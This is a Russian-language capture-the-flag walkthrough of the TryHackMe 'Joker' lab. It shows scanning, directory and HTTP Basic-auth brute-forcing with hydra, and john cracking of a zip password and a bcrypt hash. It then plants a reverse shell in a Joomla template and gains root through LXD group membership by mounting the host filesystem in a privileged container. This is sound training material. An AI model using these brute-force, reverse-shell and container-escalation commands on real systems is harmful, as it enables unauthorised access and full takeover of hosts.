TryHackMe - Joker CTF
Эскалация привилегий с использованием Linux Containers (LXD)
Введение
Очень интересный челлендж — это был мой первый опыт работы с Linux Containers.
Похоже, у нас есть и базовое руководство по шагам, поэтому действуем следующим образом:
- Перечисление сервисов
- Nmap
- Брутфорс
- Брутфорс файлов по HTTP
- Брутфорс Basic Authentication
- Взлом хэшей
- Брутфорс хэша для взлома zip-файла
- Брутфорс хэша для взлома пользователя MySQL
- Эксплуатация
- Получение reverse-соединения
- Запуск TTY shell
- Эскалация привилегий
- Получение root-доступа за счёт уязвимостей в LXD
Это методология, которая используется на большинстве машин, так что иметь такой базовый гайдлайн — очень полезно.
Nmap
Начнём с nmap-сканирования:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.204.243
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ad:20:1f:f4:33:1b:00:70:b3:85:cb:87:00:c4:f4:f7 (RSA)
| 256 1b:f9:a8:ec:fd:35:ec:fb:04:d5:ee:2a:a1:7a:4f:78 (ECDSA)
|_ 256 dc:d7:dd:6e:f6:71:1f:8c:2c:2c:a1:34:6d:29:99:20 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HA: Joker
|_http-server-header: Apache/2.4.29 (Ubuntu)
8080/tcp open http Apache httpd 2.4.29
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Please enter the password.
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 401 Unauthorized
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Открытые порты:
22/tcp
80/tcp
8080/tcp
Вопрос: Какая версия Apache используется?
Ответ:
1
2.4.29
При попытке доступа к резервному сайту на порту 8080/tcp у нас запрашиваются учётные данные.
Вопрос: Какой порт на этой машине не требует аутентификации по имени пользователя и паролю?
Ответ:
1
80
Разведка (Reconnaissance)
Вопрос: На этом порту есть файл, который выглядит как секретный. Что это за файл?
1
2
$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u "http://10.10.204.243/FUZZ" -fl 124 -e .txt
secret.txt [Status: 200, Size: 320, Words: 62, Lines: 7, Duration: 45ms]
Ответ:
1
secret.txt
Давайте посетим 10.10.204.243/secret.txt
Похоже, у нас есть 2 возможных пользователя: joker и batman.
Вопрос: Есть ещё один файл, который раскрывает информацию о backend’е. Что это за файл?
1
2
3
4
5
6
7
8
9
$ ffuf -w /usr/share/wordlists/dirb/common.txt -u "http://10.10.204.243/FUZZ" -fl 124
.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 46ms]
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 46ms]
.hta [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 47ms]
css [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 46ms]
img [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 45ms]
index.html [Status: 200, Size: 5954, Words: 783, Lines: 97, Duration: 46ms]
phpinfo.php [Status: 200, Size: 94822, Words: 4697, Lines: 1160, Duration: 144ms]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 45ms]
Ответ:
1
phpinfo.php
Вопрос: При чтении secret-файла мы находим диалог, в котором, судя по всему, участвуют как минимум два пользователя и встречаются некоторые ключевые слова, которые могут быть интересны. Какого пользователя вы считаете основным?
Ответ:
1
joker
Вопрос: Какой порт на этой машине требует аутентификации с помощью механизма Basic Authentication?
Ответ:
1
8080
Вопрос: На этом этапе у нас есть один пользователь и URL, который требует аутентификации. Проведите брутфорс, чтобы получить пароль. Какой это пароль?
1
hydra -l joker -P /usr/share/wordlists/rockyou.txt -t 20 10.10.204.243 -s 8080 http-get
Ответ:
1
<CENSORED>
Давайте используем gobuster для этого, так как с учётными данными это сделать проще.
1
2
gobuster dir -u http://10.10.204.243:8080 -w /usr/share/wordlists/dirb/common.txt -U joker -P <CENSORED>
/administrator
Ответ:
1
/administrator/
Rshell
Вопрос: Нам нужен доступ к административной части сайта, чтобы получить shell. Там есть файл резервной копии. Что это за файл?
В итоге мы вынуждены использовать nikto, так как мне не удалось найти ничего ни с помощью gobuster, ни с помощью ffuf.
1
2
$ nikto -h http://10.10.204.243:8080/ -id joker:<CENSORED>
+ /backup.zip: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
Ответ:
1
backup.zip
Вопрос: У нас есть файл резервной копии, и теперь нам нужно поискать в нём какую‑нибудь информацию, например базу данных, конфигурационные файлы и т.д. Но файл резервной копии, похоже, зашифрован. Какой у него пароль?
Нам нужно взломать пароль от zip‑файла с помощью john.
1
2
3
4
5
6
7
8
9
10
11
12
13
$ zip2john backup.zip > joker.hash
└─$ john joker.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
<CENSORED> (backup.zip)
1g 0:00:00:00 DONE 2/3 (2025-02-26 21:31) 25.00g/s 2258Kp/s 2258Kc/s 2258KC/s 123456..Peter
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Ответ:
1
<CENSORED>
Вопрос:
Помни, что нам нужен доступ к административной панели сайта… Бла‑бла‑бла. В ходе нового исследования мы видим файлы с компрометирующей информацией — возможно, это база данных? Окей, а что если восстановить базу данных? В каких‑то таблицах точно должен быть user_table! Кто является супер‑дупер пользователем?
После проверки файла joombadb.sql мы можем увидеть супер‑дупер пользователя.
Ответ:
1
admin
Вопрос: Супер‑дупер пользователь! Какой у него пароль?
1
2
3
4
5
6
echo '$2y$10$b43UqoH5UpXokj2y9e/8U.LD8T3jEQCuxG2oHzALoJaj9M5unOcbG' > pass.txt
john pass.txt
<CENSORED> (?)
1g 0:00:00:06 DONE 2/3 (2025-02-26 21:35) 0.1481g/s 109.3p/s 109.3c/s 109.3C/s yellow..allison
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Ответ:
1
<CENSORED>
Первоначальный доступ
Окей, после небольшого перечисления, я нашёл способ загрузить reverse shell. Extensions > Templates > Templates
Можем взглянуть на Beez3 и увидеть, что у нас есть возможность редактировать php‑файлы. Давайте вставим туда reverse shell, после чего можем нажать Template Preview уже после запуска нашего локального listener’а.
1
2
3
4
5
6
7
8
9
10
└─$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.11.75.122] from (UNKNOWN) [10.10.204.243] 32938
Linux ubuntu 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
12:45:34 up 1:09, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
Вопрос: На этом этапе вам нужно загрузить reverse shell, чтобы получить доступ к оболочке. Кто является владельцем этой сессии?
Ответ:
1
www-data
Вопрос: Этот пользователь состоит в группе, которая отличается от вашей. Что это за группа?
1
2
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)
Ответ:
1
lxd
Создайте TTY‑оболочку
1
python3 -c 'import pty; pty.spawn("/bin/bash")'
Повышение привилегий
Так как мы состоим в группе lxd, это намекает на использование Linux‑контейнеров для повышения привилегий.
После небольшого ресёрча, по сути, нам нужно:
- Установить LXC Alpine‑образ на атакующей машине
- Правильно его настроить
- Поднять HTTP‑сервер
- Скачать образ с целевой машины
- Запустить образ и получить доступ к файловой системе как root
1
2
3
4
5
6
7
lxc image import ./alpine-v3.11-x86_64-20200227_1750.tar.gz --alias myimage
lxc image list
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
Вопрос:
Как называется файл в директории /root?
Ответ:
1
<CENSORED>.txt




